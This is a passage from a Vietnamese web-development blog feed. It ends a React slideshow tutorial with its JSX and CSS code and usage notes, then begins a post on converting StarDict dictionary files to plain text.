function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">_<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">dot </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex <span class="token operator">===</span> index <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span> <span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setSlideIndex</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-slideshowcss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-slideshowcss" aria-label="nội dung file slideshowcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file slideshow.css</h3> <p>File này dùng để xác định style cho Slideshow component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-slideshow</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì hiểu là style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> - không phải cháu, chắt,...</p> <div class="gatsby-code-title gatsby-remark-code-title">slideshow.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-slideshow, .lp-slideshow *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .slide</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .slide.active</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .slide > .image</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .slide > .number-text</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 8px 12px<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .slide > .caption-text</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1.3rem<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 8px 12px<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">bottom</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .prev, .lp-slideshow > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 50%<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">margin-top</span><span class="token punctuation">:</span> -22px<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 16px<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 18px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow:hover > .container > .prev, .lp-slideshow:hover > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow:hover > .container > .prev:hover, .lp-slideshow:hover > .container > .next:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.8<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">right</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 3px 0 0 3px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .container > .prev</span> <span class="token punctuation">{</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 0 3px 3px 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .dot-container</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 1rem auto<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .dot-container > .dot</span> <span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0 0.4rem<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #bbb<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 50%<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> inline-block<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .dot-container > .dot.active, .lp-slideshow > .dot-container > .dot:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #717171<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow > .dot-container > .dot:not(.active):hover</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-slideshow-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-slideshow-component" aria-label="sử dụng slideshow component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Slideshow component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Không thay đổi */</span> <span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Slideshow <span class="token keyword">from</span> <span class="token string">"./components/slideshow/slideshow"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img1 <span class="token keyword">from</span> <span class="token string">"./images/01.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img2 <span class="token keyword">from</span> <span class="token string">"./images/02.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img3 <span class="token keyword">from</span> <span class="token string">"./images/03.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img4 <span class="token keyword">from</span> <span class="token string">"./images/04.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img5 <span class="token keyword">from</span> <span class="token string">"./images/05.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img6 <span class="token keyword">from</span> <span class="token string">"./images/06.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img1<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption one"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img2<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption two"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img3<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption three"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img4<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption four"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img5<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption five"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img6<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption six"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Slideshow</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Slideshow</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">automatic</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">timeout</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3000</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, component Slideshow có các thuộc tính là:</p> <ul> <li><strong>input (<a href="/array-la-gi-array-trong-javascript/">Array</a>):</strong> mảng chứa thông tin các ảnh, với mỗi phần tử là một <a href="/object-la-gi-object-trong-javascript/">object </a>gồm src - đường dẫn ảnh và caption - tiêu đề ảnh.</li> <li><strong>ratio (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn tỉ lệ <strong>width : height</strong>, ví dụ là "3:2". Chú ý là chiều rộng, mình luôn luôn để 100% nên mình chỉ cần truyền vào tỉ lệ này là OK.</li> <li><strong>mode (String):</strong> kiểu chạy, có 2 giá trị là "manual" - thủ công và "automatic" - tự động. Riêng với trường hợp, chạy tự động thì bạn cần truyền thêm giá trị "timeout" - thời gian giữa các ảnh, mặc định là 5000 ms.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #1 - Slideshow. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/slideshow/" class="btn btn-primary margin-bottom"> Xem Demo Slideshow </a> <p>Mình thấy React hay ở chỗ là mình có thể tách code ra thành các component. Nghĩa là khi nào cần mình sẽ lấy ra sử dụng, không cần phải viết lại nữa.</p> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Tạo bộ dữ liệu từ điển dạng text từ StarDict]]><![CDATA[Gần đây, trên diễn đàn nổi tiếng DayNhauHoc, có một bạn hỏi xin file .text kho từ vựng Tiếng anh. Mà thực tế, cách đây khoảng một năm, mình đã từng dành thời gian nghiên cứu, tìm…]]>https://completejavascript.com/tao-bo-du-lieu-tu-dien-dang-text-tu-stardict/https://completejavascript.com/tao-bo-du-lieu-tu-dien-dang-text-tu-stardict/<![CDATA[Windows]]>Wed, 17 Oct 2018 15:45:34 GMT<p>Gần đây, trên diễn đàn nổi tiếng <strong>DayNhauHoc</strong>, có một bạn hỏi <a href="https://daynhauhoc.com/t/xin-file-text-kho-tu-vung-tieng-anh/37916/15">xin file .text kho từ vựng Tiếng anh</a>. Mà thực tế, cách đây khoảng một năm, mình đã từng dành thời gian nghiên cứu, tìm tòi để tìm ra cách tạo bộ dữ liệu từ điển dạng text từ cơ sở dữ liệu của <a href="http://stardict-4.sourceforge.net/">StarDict</a>.</p> <p><strong>Tại sao mình làm việc này?</strong></p> <p>À, lúc đó mình đang học về <a href="https://nodejs.org/en/">Node.js</a> nên cũng mày mò làm cho được một cái Dictionary trên web.</p> <p>Mà cơ sở dữ liệu cho Node.js thì mình lại dùng <a href="https://www.mongodb.com/">MongoDB</a>, nên mình phải convert cái database của StarDict thành dạng text.</p> <p><em>Sau đó, mình làm một cái tool để chuyển dữ liệu dạng text này thành kiểu của MongoDB.</em></p> <p>Vì vậy, mình quyết định viết bài này để chia sẻ với bạn cách mà mình đã làm để tạo bộ dữ liệu từ điển dạng text này.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="download-công-cụ-cần-thiết" style="position:relative;"><a href="#download-c%C3%B4ng-c%E1%BB%A5-c%E1%BA%A7n-thi%E1%BA%BFt" aria-label="download công cụ cần thiết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Download công cụ cần thiết</h2> <h3 id="download-bộ-từ-điển-stardict" style="position:relative;"><a href="#download-b%E1%BB%99-t%E1%BB%AB-%C4%91i%E1%BB%83n-stardict" aria-label="download bộ từ điển stardict permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Download bộ từ điển StarDict</h3> <p>Dĩ nhiên rồi, đầu tiên bạn phải download bộ từ điển của StarDict tại <a href="https://sourceforge.net/projects/ovdp/files/Stardict/">đây</a>.</p> <p>Tại trang download, bạn sẽ thấy có rất nhiều loại từ điền khác nhau liên quan tới English, Italian, Spanish, French,...</p> <p>Giả sử mình tải bộ từ điển Anh Việt về. Rồi sau khi giải nén xong, mình thu được 3 tệp tin như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 591px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 13.939393939393941%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAbklEQVQI102NUQ7DIAxDuf85GVrIwAEUlaClmrR2a/1lye/JAUCm3PvYd3//4u5zzlqrAK21tZZIMzP3kymljDFCjDHFh81rOGRVTSk9iXJmMyOi3vsfYGYA4cUskLt5PQMicj5/+7bNgzQzVf0AmwKsdkZylLcAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sau khi giải nén bộ từ điển Anh-Việt" title="Sau khi giải nén bộ từ điển Anh-Việt" src="/static/ecbf540cab595bd2e00fea13922465af/c1f10/Capture.png" srcset="/static/ecbf540cab595bd2e00fea13922465af/103f2/Capture.png 165w, /static/ecbf540cab595bd2e00fea13922465af/748ba/Capture.png 330w, /static/ecbf540cab595bd2e00fea13922465af/c1f10/Capture.png 591w" sizes="(max-width: 591px) 100vw, 591px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, mình sử dụng <a href="https://www.7-zip.org/">7zip</a> để giải nén <strong>en_vi.dict.dz</strong> để thu được <strong>en_vi.dict</strong>.</p> <p>Kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 583px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 17.575757575757578%; position: relative; bottom: 0; left: 0; background-image: 